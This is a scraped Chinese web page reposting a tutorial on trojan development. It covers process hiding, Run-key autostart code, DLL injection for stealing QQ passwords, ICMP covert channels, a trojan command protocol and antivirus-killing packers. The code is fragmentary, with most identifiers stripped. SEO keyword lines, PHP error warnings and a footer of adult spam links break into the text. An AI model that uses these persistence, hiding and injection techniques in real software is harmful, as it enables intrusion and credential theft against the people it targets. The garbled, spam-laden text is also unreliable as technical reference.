Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 久一视频在线,亚洲资源在线,亚洲福利在线电影天堂www

          整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          木馬程序開發技術:病毒源代碼詳解

          近年來,黑客技術不斷成熟起來,對網絡安全造成了極大的威脅,黑客的主要攻擊手段之一,就是使用木馬技術,滲透到對方的主機系統里,從而實現對遠程操作目標主機。 其破壞力之大,是絕不容忽視的,黑客到底是如何制造了這種種具有破壞力的木馬程序呢,下面我對木馬進行源代碼級的詳細的分析,讓我們對木馬的開發技術做一次徹底的透視,從了解木馬技術開始,更加安全的管理好自己的計算機。

          1、木馬程序的分類

          木馬程序技術發展至今,已經經歷了4代,第一代,即是簡單的密碼竊取,發送等,沒有什么特別之處。第二代木馬,在技術上有了很大的進步,冰河可以說為是國內木馬的典型代表之一。第三代木馬在數據傳遞技術上,又做了不小的改進,出現了ICMP等類型的木馬,利用畸形報文傳遞數據,增加了查殺的難度。第四代木馬在進程隱藏方面,做了大的改動,采用了內核插入式的嵌入方式,利用遠程插入線程技術,嵌入DLL線程。或者掛接PSAPI,實現木馬程序的隱藏,甚至在Windows NT/2000下,都達到了良好的隱藏效果。相信,第五代木馬很快也會被編制出來。關于更詳細的說明,可以參考ShotGun的文章《揭開木馬的神秘面紗》。

          2.木馬程序的隱藏技術

          木馬程序的服務器端,為了避免被發現,多數都要進行隱藏處理,下面讓我們來看看木馬是如何實現隱藏的。

          說到隱藏,首先得先了解三個相關的概念:進程,線程和服務。我簡單的解釋一下。

          進程:一個正常的Windows應用程序,在運行之后,都會在系統之中產生一個進程,同時,每個進程,分別對應了一個不同的PID( ID, 進程標識符)這個進程會被系統分配一個虛擬的內存空間地址段,一切相關的程序操作,都會在這個虛擬的空間中進行。

          線程:一個進程,可以存在一個或多個線程,線程之間同步執行多種操作,一般地,線程之間是相互獨立的,當一個線程發生錯誤的時候,并不一定會導致整個進程的崩潰。

          服務:一個進程當以服務的方式工作的時候,它將會在后臺工作,不會出現在任務列表中,但是,在Windows NT/2000下,你仍然可以通過服務管理器檢查任何的服務程序是否被啟動運行。

          想要隱藏木馬的服務器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進程仍然存在,只不過是讓他消失在進程列表里。真隱藏則是讓程序徹底的消失,不以一個進程或者服務的方式工作。

          偽隱藏的方法,是比較容易實現的,只要把木馬服務器端的程序注冊為一個服務就可以了,這樣,程序就會從任務列表中消失了,因為系統不認為他是一個進程,當按下Ctrl+Alt+Delete的時候,也就看不到這個程序。但是,這種方法只適用于的系統,對于Windows NT,Windows 2000等,通過服務管理器,一樣會發現你在系統中注冊過的服務。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當然還有辦法,那就是API的攔截技術,通過建立一個后臺的系統鉤子,攔截PSAPI的等相關的函數來實現對進程和服務的遍歷調用的控制,當檢測到進程ID(PID)為木馬程序的服務器端進程的時候直接跳過,這樣就實現了進程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了,函數,來截獲屏幕輸出,實現即時翻譯的。同樣,這種方法也可以用在進程隱藏上。

          當進程為真隱藏的時候,那么這個木馬的服務器部分程序運行之后,就不應該具備一般進程,也不應該具備服務的,也就是說,完全的溶進了系統的內核。也許你會覺得奇怪,剛剛不是說一個應用程序運行之后,一定會產生一個進程嗎?的確,所以我們可以不把他做成一個應用程序,而把他做為一個線程,一個其他應用程序的線程,把自身注入其他應用程序的地址空間。而這個應用程序對于系統來說,是一個絕對安全的程序,這樣,就達到了徹底隱藏的效果,這樣的結果,導致了查殺黑客程序難度的增加。

          出于安全考慮,我只給出一種通過注冊服務程序,實現進程偽隱藏的方法,對于更復雜,高級的隱藏方法,比如遠程線程插入其他進程的方法,請參閱ShotGun的文章《NT系統下木馬進程的隱藏與檢測》。

          WINAPI WinMain(, , LPSTR, int)

          try

          DWORD = ();//取得Windows的版本號

          if ( >= ) // Windows 9x隱藏任務列表

          int ( *rsp)(DWORD,DWORD);

          dll=(".DLL");//裝入.DLL

          rsp=(int( *)(DWORD,DWORD))(dll,"ss");//找到ss的入口

          rsp(NULL,1);//注冊服務

          (dll);//釋放DLL模塊

          catch ( &)//處理異常事件

          //處理異常事件

          return 0;

          3、程序的自加載運行技術

          讓程序自運行的方法比較多,除了最常見的方法:加載程序到啟動組,寫程序啟動路徑到注冊表的///Windows//Run的方法外,還有很多其他的辦法,據yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或者通過注冊表里的輸入法鍵值直接掛接啟動,通過修改.exe啟動參數等等的方法,真的可以說是防不勝防,下面展示一段通過修改///Windows//Run鍵值來實現自啟動的程序:

          自裝載部分:

          HKEY hkey;

          =(sys)+("+PName/">//")+PName

          long k;

          k=KEY;

          (,

          "http:////WINDOWS////RUN//",

          0L,

          NULL,

          ILE,|,

          NULL,

          &hkey,&k);

          (hkey,

          "",

          0,

          REG_SZ,

          .c_str(),

          .Length());

          (hkey);

          if (int((Handle,

          "open",

          .c_str(),

          NULL,

          NULL,

          SW_HIDE))>32)

          =true;

          Close();

          else

          HKEY hkey;

          long k;

          k=KEY;

          long a=(,

          "http:////WINDOWS////RUN",

          0,

          NULL,

          ILE,

          ,NULL,

          &hkey,&k);

          (hkey,

          "",

          0,

          REG_SZ,

          .c_str(),

          .Length());

          int num=0;

          char str[20];

          DWORD lth=20;

          DWORD type;

          char strv[255];

          DWORD vl=254;

          DWORD Suc;

          do{

          Suc=(,

          (DWORD)num,str,

          NULL,

          &type,

          strv,&vl);

          if (strcmp(str,"BGroup")==0)

          ((strv));

          (,"BGroup");

          break;

          }while(Suc== );

          (hkey);

          自裝載程序的卸載代碼:

          int num;

          char str2[20];

          進程隱藏器_隱藏特定類型文件_進程隱藏對特定程序顯示工具

          DWORD lth=20;

          DWORD type;

          char strv[255];

          DWORD vl=254;

          DWORD Suc;

          do{

          Suc=(,

          (DWORD)num,

          str,

          NULL,

          &type,

          strv,

          &vl);

          if (strcmp(str,"BGroup")==0)

          ((strv));

          (,"BGroup");

          break;

          }while(Suc== )

          HKEY hkey;

          long k;

          k=KEY;

          (,

          "http:////WINDOWS////RUN",

          0,

          NULL,

          ILE,

          ,NULL,

          &hkey,

          &k);

          do{

          Suc=(hkey,(DWORD)num,str,if (strcmp(str,"")==0)

          ((strv));

          (,"");

          break;

          }while(Suc== )

          (hkey);

          其中自裝載部分使用C++ Builder可以這樣寫,會比較簡化:

          & regKey = *new ();

          regKey.RootKey=;

          regKey.OpenKey("http:////Windows////Run",true);

          if(!regKey.(" Server"))

          regKey.(" Server",

          "D://Program Files//Borland////BIN//.exe");

          regKey.();

          delete ?Key;

          4、木馬程序的建立連接的隱藏

          木馬程序的數據傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數據的方法了,通常是利用Winsock與目標機的指定端口建立起連接,使用send和recv等API進行數據的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令行狀態下使用netstat命令,就可以查看到當前的活動TCP,UDP連接。

          C:/ and /bigball>netstat -n

          Active

          Proto Local Address Foreign Address State

          TCP 192.0.0.9:1032 64.4.13.48:1863

          TCP 192.0.0.9:1112 61.141.212.95:80

          TCP 192.0.0.9:1135 202.130.239.223:80

          TCP 192.0.0.9:1142 202.130.239.223:80

          TCP 192.0.0.9:1162 192.0.0.8:139

          TCP 192.0.0.9:1169 202.130.239.159:80

          TCP 192.0.0.9:1170 202.130.239.133:80

          C:/ and /bigball>netstat -a

          Active

          Proto Local Address Foreign Address State

          TCP Liumy:echo Liumy:0

          TCP Liumy:discard Liumy:0

          TCP Liumy:daytime Liumy:0

          TCP Liumy:qotd Liumy:0

          TCP Liumy:chargen Liumy:0

          TCP Liumy:epmap Liumy:0

          TCP Liumy:-ds Liumy:0

          TCP Liumy:1025 Liumy:0

          TCP Liumy:1026 Liumy:0

          TCP Liumy:1031 Liumy:0

          TCP Liumy:1032 Liumy:0

          TCP Liumy:1112 Liumy:0

          TCP Liumy:1135 Liumy:0

          TCP Liumy:1142 Liumy:0

          TCP Liumy:1801 Liumy:0

          TCP Liumy:3372 Liumy:0

          TCP Liumy:3389 Liumy:0

          TCP Liumy:netbios-ssn Liumy:0

          TCP Liumy:1028 Liumy:0

          TCP Liumy:1032 :1863 ESTAB

          TCP Liumy:1112 :http ESTABLI

          TCP Liumy:1135 202.130.239.223:http

          TCP Liumy:1142 202.130.239.223:http

          TCP Liumy:1162 W3I:netbios-ssn

          TCP Liumy:1170 202.130.239.133:http

          TCP Liumy:2103 Liumy:0

          TCP Liumy:2105 Liumy:0

          TCP Liumy:2107 Liumy:0

          UDP Liumy:echo *:*

          UDP Liumy:discard *:*

          UDP Liumy:daytime *:*

          UDP Liumy:qotd *:*

          隱藏特定類型文件_進程隱藏對特定程序顯示工具_進程隱藏器

          UDP Liumy:chargen *:*

          UDP Liumy:epmap *:*

          UDP Liumy:snmp *:*

          UDP Liumy:-ds *:*

          UDP Liumy:1027 *:*

          UDP Liumy:1029 *:*

          UDP Liumy:3527 *:*

          UDP Liumy:4000 *:*

          UDP Liumy:4001 *:*

          UDP Liumy:1033 *:*

          UDP Liumy:1148 *:*

          UDP Liumy:netbios-ns *:*

          UDP Liumy:netbios-dgm *:*

          UDP Liumy:isakmp *:*

          但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說,使用特殊的手段,在一個端口上同時綁定兩個TCP或者UDP連接,這聽起來不可思議,但事實上確實如此,而且已經出現了使用類似方法的程序,通過把自己的木馬端口綁定于特定的服務端口之上,(比如80端口的HTTP,誰懷疑他會是木馬程序呢?)從而達到隱藏端口的目地。另外一種辦法,是使用ICMP( Control Message )協議進行數據的發送,原理是修改ICMP頭的構造,加入木馬的控制字段,這樣的木馬,具備很多新的特點,不占用端口的特點,使用戶難以發覺,同時,使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點,是因為ICMP不同于TCP,UDP,ICMP工作于網絡的應用層不使用TCP協議。關于網絡層次的結構,下面給出圖示:

          進程隱藏對特定程序顯示工具_隱藏特定類型文件_進程隱藏器

          網絡層次結構圖

          5、發送數據的組織方法

          關于數據的組織方法,可以說是數學上的問題。關鍵在于傳遞數據的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發現,必須很好的控制數據傳輸量,一個編制較好的木馬,往往有自己的一套傳輸協議,那么程序上,到底是如何組織實現的呢?下面,我舉例包裝一些協議:

          typedef struct{ //定義消息結構

          //char ip[20];

          char Type; //消息種類

          char [20]; //密碼

          int CNum; //消息操作號

          //int Length; //消息長度

          }Msg;

          #define MsgLen sizeof(Msg)

          //-------------------------------------------

          //對話框數據包定義:.h

          //-------------------------------------------

          //定義如下消息類型:

          #define 4//連接事件

          #define 5//發送完成事件

          //消息結構

          typedef struct{

          char Name[20];//對話框標題

          char Msg[256];//對話框消息內容

          };

          #define sizeof()//消息單元長度

          //------------------------------------------

          //聊天數據包定義:.h

          //------------------------------------------

          //定義如下消息類型:

          #define 0//連接事件

          #define 1//接入事件

          #define 2//結束事件

          #define 16//確認對話內容收到

          //消息結構

          typedef struct{

          char [20];//Client自定義的名稱

          char Msg[256];//發送的消息

          };

          #define sizeof()//消息單元長度

          //------------------------------------------

          //重啟數據包定義:.h

          //------------------------------------------

          //定義如下消息類型:

          #define 15//重啟事件

          //------------------------------------------

          //目錄結構請求數據包定義:.h

          //------------------------------------------

          //定義如下消息類型:

          #define 17

          #define 18

          typedef struct{

          char Dir[4096];//你要的目錄名

          };

          #define sizeof()

          // TCP的Msg

          typedef struct{ //定義消息結構

          char SType; //消息種類

          char [20]; //密碼

          //int SNum; //消息操作號

          char *AllMsg;

          }SMsg;

          #define SMsgLen sizeof(SMsg)

          #define 19

          #define 21

          #define 22

          #define 23

          #define 24

          #define 25//tcp接收消息,udp請求消息

          #define 26

          //-------------------------

          //鼠標指針隱藏和顯示控制

          //-------------------------

          #define 27//設置消息

          #define 28//成功消息

          typedef struct{

          bool ;

          };

          #define en sizeof()

          黑客知識系列之木馬程序隱身的技術

          最基本的隱藏:不可見窗體+隱藏文件

          木馬程序無論如何神秘,但歸根究底,仍是Win32平臺下的一種程序。Windows下常見的程序有兩種:

          1.Win32應用程序(Win32 ),比如QQ、Office等都屬于此行列。

          2.Win32控制臺程序(Win32 Console),比如硬盤引導修復程序FixMBR。

          其中,Win32應用程序通常會有應用程序界面,比如系統中自帶的“計算器”就有提供各種數字按鈕的應用程序界面。木馬雖然屬于Win32應用程序,但其一般不包含窗體或隱藏了窗體(但也有某些特殊情況,如木馬使用者與被害者聊天的窗口),并且將木馬文件屬性設置為“隱藏”,這就是最基本的隱藏手段,稍有經驗的用戶只需打開“任務管理器”,并且將“文件夾選項”中的“顯示所有文件”勾選即可輕松找出木馬,于是便出現了下面要介紹的“進程隱藏”技術。

          第一代進程隱藏技術:Windows 98的后門

          在Windows 98中,微軟提供了一種能將進程注冊為服務進程的方法。盡管微軟沒有公開提供這種方法的技術實現細節(因為Windows的后續版本中沒有提供這個機制),但仍有高手發現了這個秘密,這種技術稱為ss。只要利用此方法,任何程序的進程都能將自己注冊為服務進程,而服務進程在Windows 98中的任務管理器中恰巧又是不顯示的,所以便被木馬程序鉆了空子。

          要對付這種隱藏的木馬還算簡單,只需使用其他第三方進程管理工具即可找到其所在,并且采用此技術進行隱藏的木馬在Windows 2000/XP(因為不支持這種隱藏方法)中就得現形!中止該進程后將木馬文件刪除即可。可是接下來的第二代進程隱藏技術,就沒有這么簡單對付了。

          第二代進程隱藏技術:進程插入

          在Windows中,每個進程都有自己的私有內存地址空間,當使用指針(一種訪問內存的機制)訪問內存時,一個進程無法訪問另一個進程的內存地址空間,就好比在未經鄰居同意的情況下,你無法進入鄰居家吃飯一樣。比如QQ在內存中存放了一張圖片的數據,而MSN則無法通過直接讀取內存的方式來獲得該圖片的數據。這樣做同時也保證了程序的穩定性,如果你的進程存在一個錯誤,改寫了一個隨機地址上的內存,這個錯誤不會影響另一個進程使用的內存。

          你知道嗎——進程(Process)是什么

          對應用程序來說,進程就像一個大容器。在應用程序被運行后,就相當于將應用程序裝進容器里了,你可以往容器里加其他東西(如:應用程序在運行時所需的變量數據、需要引用的DLL文件等),當應用程序被運行兩次時,容器里的東西并不會被倒掉,系統會找一個新的進程容器來容納它。

          一個進程可以包含若干線程(Thread),線程可以幫助應用程序同時做幾件事(比如一個線程向磁盤寫入文件,另一個則接收用戶的按鍵操作并及時做出反應,互相不干擾),在程序被運行后中,系統首先要做的就是為該程序進程建立一個默認線程,然后程序可以根據需要自行添加或刪除相關的線程。

          1.進程插入是什么

          進程隱藏器_特定隱藏進程工具程序顯示不全_進程隱藏對特定程序顯示工具

          獨立的地址空間對于編程人員和用戶來說都是非常有利的。對于編程人員來說,系統更容易捕獲隨意的內存讀取和寫入操作。對于用戶來說,操作系統將變得更加健壯,因為一個應用程序無法破壞另一個進程或操作系統的運行。當然,操作系統的這個健壯特性是要付出代價的,因為要編寫能夠與其他進程進行通信,或者能夠對其他進程進行操作的應用程序將要困難得多。但仍有很多種方法可以打破進程的界限,訪問另一個進程的地址空間,那就是“進程插入”(Process )。一旦木馬的DLL插入了另一個進程的地址空間后,就可以對另一個進程為所欲為,比如下文要介紹的盜QQ密碼。

          2.木馬是如何盜走QQ密碼的

          普通情況下,一個應用程序所接收的鍵盤、鼠標操作,別的應用程序是無權“過問”的。可盜號木馬是怎么偷偷記錄下我的密碼的呢?木馬首先將1個DLL文件插入到QQ的進程中并成為QQ進程中的一個線程,這樣該木馬DLL就赫然成為了QQ的一部分!然后在用戶輸入密碼時,因為此時木馬DLL已經進入QQ進程內部,所以也就能夠接收到用戶傳遞給QQ的密碼鍵入了,真是“家賊難防”啊!

          3.如何插入進程

          (1)使用注冊表插入DLL

          早期的進程插入式木馬的伎倆,通過修改注冊表中的[///Windows NT//Windows/]來達到插入進程的目的。缺點是不實時,修改注冊表后需要重新啟動才能完成進程插入。

          (2)使用掛鉤(Hook)插入DLL

          比較高級和隱蔽的方式,通過系統的掛鉤機制(即“Hook”,類似于DOS時代的“中斷”)來插入進程(一些盜QQ木馬、鍵盤記錄木馬以Hook方式插入到其他進程中“偷雞摸狗”),需要調用函數(也是一個Win32 API函數)。缺點是技術門檻較高,程序調試困難,這種木馬的制作者必須具有相當的Win32編程水平。

          你知道嗎——什么是API

          Windows中提供各種功能實現的接口稱為Win32 API( ,即“應用程序編程接口”),如一些程序需要對磁盤上的文件進行讀寫,就要先通過對相應的API(文件讀寫就要調用文件相關的API)發出調用請求,然后API根據程序在調用其函數時提供的參數(如讀寫文件就需要同時給出需要讀寫的文件的文件名及路徑)來完成請求實現的功能,最后將調用結果(如寫入文件成功,或讀取文件失敗等)返回給程序。

          (3)使用遠程線程函數()插入DLL

          在Windows 2000及以上的系統中提供了這個“遠程進程”機制,可以通過一個系統API函數來向另一個進程中創建線程(插入DLL)。缺點很明顯,僅支持Windows 2000及以上系統,在國內仍有相當多用戶在使用Windows 98,所以采用這種進程插入方式的木馬缺乏平臺通用性。

          木馬將自身作為DLL插入別的進程空間后,用查看進程的方式就無法找出木馬的蹤跡了,你能看到的僅僅是一些正常程序的進程,但木馬卻已經偷偷潛入其中了。解決的方法是使用支持“進程模塊查看”的進程管理工具(如“Windows優化大師”提供的進程查看),木馬的DLL模塊就會現形了。

          進程隱藏對特定程序顯示工具_特定隱藏進程工具程序顯示不全_進程隱藏器

          不要相信自己的眼睛:恐怖的進程“蒸發”

          嚴格地來講,這應該算是第2.5代的進程隱藏技術了,可是它卻比前幾種技術更為可怕得多。這種技術使得木馬不必將自己插入到其他進程中,而可以直接消失!

          它通過Hook技術對系統中所有程序的進程檢測相關API的調用進行了監控,“任務管理器”之所以能夠顯示出系統中所有的進程,也是因為其調用了等進程相關的API函數,進程信息都包含在該函數的返回結果中,由發出調用請求的程序接收返回結果并進行處理(如“任務管理器”在接收到結果后就在進程列表中顯示出來)。

          而木馬由于事先對該API函數進行了Hook,所以在“任務管理器”(或其他調用了列舉進程函數的程序)調用函數時(此時的API函數充當了“內線”的角色),木馬便得到了通知,并且在函數將結果(列出所有進程)返回給程序前,就已將自身的進程信息從返回結果中抹去了。就好比你正在看電視節目,卻有人不知不覺中將電視接上了DVD,你在不知不覺中就被欺騙了。

          所以無論是“任務管理器”還是殺毒軟件,想對這種木馬的進程進行檢測都是徒勞的。這種木馬目前沒有非常有效的查殺手段,只有在其運行前由殺毒軟件檢測到木馬文件并阻止其病毒體的運行。當時還有一種技術是由木馬程序將其自身的進程信息從Windows系統用以記錄進程信息的“進程鏈表”中刪除,這樣進程管理工具就無法從“進程鏈表”中獲得木馬的進程信息了。但由于缺乏平臺通用性而且在程序運行時有一些問題,所以沒有被廣泛采用。

          你知道嗎——什么是Hook

          Hook是Windows中提供的一種用以替換DOS下“中斷”的一種系統機制,中文譯名為“掛鉤”或“鉤子”。在對特定的系統事件(包括上文中的特定API函數的調用事件)進行Hook后,一旦發生已Hook的事件,對該事件進行Hook的程序(如:木馬)就會收到系統的通知,這時程序就能在第一時間對該事件做出響應(木馬程序便搶在函數返回前對結果進行了修改)。

          毫無蹤跡:全方位立體隱藏

          利用剛才介紹的Hook隱藏進程的手段,木馬可以輕而易舉地實現文件的隱藏,只需將Hook技術應用在文件相關的API函數上即可,這樣無論是“資源管理器”還是殺毒軟件都無法找出木馬所在了。更令人吃驚的是,現在已經有木馬(如:灰鴿子)利用該技術實現了文件和進程的隱藏。要防止這種木馬最好的手段仍是利用殺毒軟件在其運行前進行攔截。

          跟殺毒軟件對著干:反殺毒軟件外殼

          木馬再狡猾,可是一旦被殺毒軟件定義了特征碼,在運行前就被攔截了。要躲過殺毒軟件的追殺,很多木馬就被加了殼,相當于給木馬穿了件衣服,這樣殺毒軟件就認不出來了,但有部分殺毒軟件會嘗試對常用殼進行脫殼,然后再查殺(小樣,別以為穿上件馬夾我就不認識你了)。除了被動的隱藏外,最近還發現了能夠主動和殺毒軟件對著干的殼,木馬在加了這種殼之后,一旦運行,則外殼先得到程序控制權,由其通過各種手段對系統中安裝的殺毒軟件進行破壞,最后在確認安全(殺毒軟件的保護已被瓦解)后由殼釋放包裹在自己“體內”的木馬體并執行之。對付這種木馬的方法是使用具有脫殼能力的殺毒軟件對系統進行保護。

          你知道嗎——什么是殼

          顧名思義,你可以很輕易地猜到,這是一種包在外面的東西。沒錯,殼能夠將文件(比如EXE)包住,然后在文件被運行時,首先由殼獲得控制權,然后釋放并運行包裹著的文件體。很多殼能對自己包住的文件體進行加密,這樣就可以防止殺毒軟件的查殺。比如原先殺毒軟件定義的該木馬的特征是“12345”,如果發現某文件中含有這個特征,就認為該文件是木馬,而帶有加密功能的殼則會對文件體進行加密(如:原先的特征是“12345”,加密后變成了“54321”,這樣殺毒軟件當然不能靠文件特征進行檢查了)。脫殼指的就是將文件外邊的殼去除,恢復文件沒有加殼前的狀態。


          主站蜘蛛池模板: 日韩人妻精品无码一区二区三区 | 中文字幕亚洲乱码熟女一区二区 | 国产午夜毛片一区二区三区| 中文字幕精品一区影音先锋 | 亚欧在线精品免费观看一区| 亚洲国产一区视频| 91视频国产一区| 少妇特黄A一区二区三区| 丰满岳妇乱一区二区三区| 中文字幕日韩欧美一区二区三区 | 亚洲性无码一区二区三区| 久久久久无码国产精品一区| 韩日午夜在线资源一区二区 | 色噜噜狠狠一区二区| 精品一区二区在线观看| 国产乱码一区二区三区爽爽爽| 一区二区精品在线观看| 亚洲国产高清在线一区二区三区 | 国产精品无码亚洲一区二区三区| 久久er99热精品一区二区| 亚洲丰满熟女一区二区v| 2022年亚洲午夜一区二区福利 | 无码福利一区二区三区| 亚欧在线精品免费观看一区| 亚洲熟女综合色一区二区三区| 亚洲国产成人精品无码一区二区| 91在线一区二区| 亚洲色一区二区三区四区| 99国产精品欧美一区二区三区 | 免费无码毛片一区二区APP| 亚洲Av高清一区二区三区| 亚洲美女视频一区二区三区| 日本一区二区三区免费高清| 日韩精品一区二区三区老鸦窝| 国产丝袜一区二区三区在线观看| 一区二区不卡久久精品| aⅴ一区二区三区无卡无码| 日韩精品一区二区三区不卡| 国产一区二区三区内射高清| 国产免费无码一区二区| 无码免费一区二区三区免费播放|